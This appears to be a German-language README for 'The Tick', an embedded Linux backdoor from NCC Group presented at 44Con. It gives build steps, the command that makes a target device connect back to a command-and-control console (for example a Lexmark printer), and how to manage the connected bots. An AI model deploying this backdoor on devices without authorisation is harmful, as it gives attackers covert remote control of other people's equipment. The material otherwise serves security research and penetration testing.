nccgroup/thetickA simple embedded Linux backdoor.
Ein einfacher Backdoor für eingebettetes Linux.
The Tick hängt nur von libcurl ab, stelle also sicher, dass du das entsprechende Entwicklungspaket hast. Zum Beispiel würdest du auf Debian-basierten Distributionen Folgendes tun:
sudo apt-get install libcurl-dev
Sobald die Abhängigkeiten installiert sind, führe einfach das Makefile aus:
cd src
make clean
make
Sobald der Befehl „make“ vollständig abgeschlossen ist, findest du die kompilierte Binärdatei im Ordner „bin“. Diese Binärdatei wird auf dem Zielgerät ausgeführt, um es remote zu steuern.
Beim Cross-Kompilieren für unterstützte Plattformen werden die Abhängigkeitsauflösung und die Kompilierung automatisch für dich durchgeführt. Derzeit ist die einzige unterstützte Cross-Kompilierungsplattform der Lexmark-CX310DN-Drucker, aber weitere Geräte werden später hinzugefügt. Weitere Einzelheiten findest du im Makefile.
Die Command-and-Control-Konsole ist in Python geschrieben und muss daher nicht kompiliert werden.
Das Erlangen von Persistenz auf dem Backdoor hängt stark von der Zielplattform ab und wird daher hier nicht dokumentiert.
Führe auf dem Zielgerät die Backdoor-Binärdatei mit den folgenden Argumenten aus:
./ticksvc ADDR PORT
Dabei müssen „ADDR“ und „PORT“ durch die IP-Adresse und den Port ersetzt werden, auf denen die Command-and-Control-Konsole lauschen wird. Der Standardport ist 5555.
Die Command-and-Control-Konsole benötigt keine Installation, kann aber unaufgelöste Abhängigkeiten haben. Führe den folgenden Befehl aus, um sicherzustellen, dass alle Abhängigkeiten ordnungsgemäß installiert sind (beachte, dass dafür kein sudo erforderlich ist):
pip install --upgrade -r requirements.txt
In den meisten Linux-Desktop-Umgebungen erstellt die folgende Datei „Tick.desktop“ ein Symbol, das du doppelklicken kannst, um die Konsole zu starten:
[Desktop Entry]
Encoding=UTF-8
Value=1.0
Type=Application
Name=The Tick
GenericName=The Tick
Comment=An embedded Linux backdoor
Icon=/opt/thetick/doc/logo.png
Exec=/opt/thetick/tick.py
Terminal=true
Path=/opt/thetick/
Der genaue Speicherort für die Datei Tick.desktop kann je nach Linux-Distribution variieren, aber in der Regel funktioniert das Platzieren auf dem Desktop. Stelle sicher, dass du den Pfad so anpasst, dass er dem Speicherort entspricht, an den du The Tick heruntergeladen hast (/opt/thetick im obigen Beispiel).
Um die Backdoor-Binärdatei auf der Zielplattform auszuführen, setze den Hostnamen und den Port des Kontrollservers als Befehlszeilenoptionen. Zum Beispiel:
./ticksvc control.example-domain.com 5555
Auf dem Kontrollserver möchtest du die Konsole möglicherweise in einer GNU-screen-Instanz oder ähnlich ausführen:
sudo apt-get install screen
screen -S thetick ./thetick.py
Auf diese Weise kannst du dich von der Konsole trennen, indem du Strg+A und anschließend D drückst. Du kannst später so zur Konsole zurückkehren:
screen -r thetick
Die Konsole meldet sich, wenn sich ein neuer Bot mit ihr verbindet. Verwende den Befehl „bots“, um die aktuell verbundenen Bots anzuzeigen, und der Befehl „use“ wählt einen Bot aus, mit dem du arbeiten möchtest. Der Befehl „help“ zeigt das Benutzerhandbuch.
Hier sind einige Bildschirmfotos, die veranschaulichen, wozu die Konsole in der Lage ist:
The Tick wurde in folgendem 44Con-Vortrag von Daniel Romero und Mario Rivas erwähnt: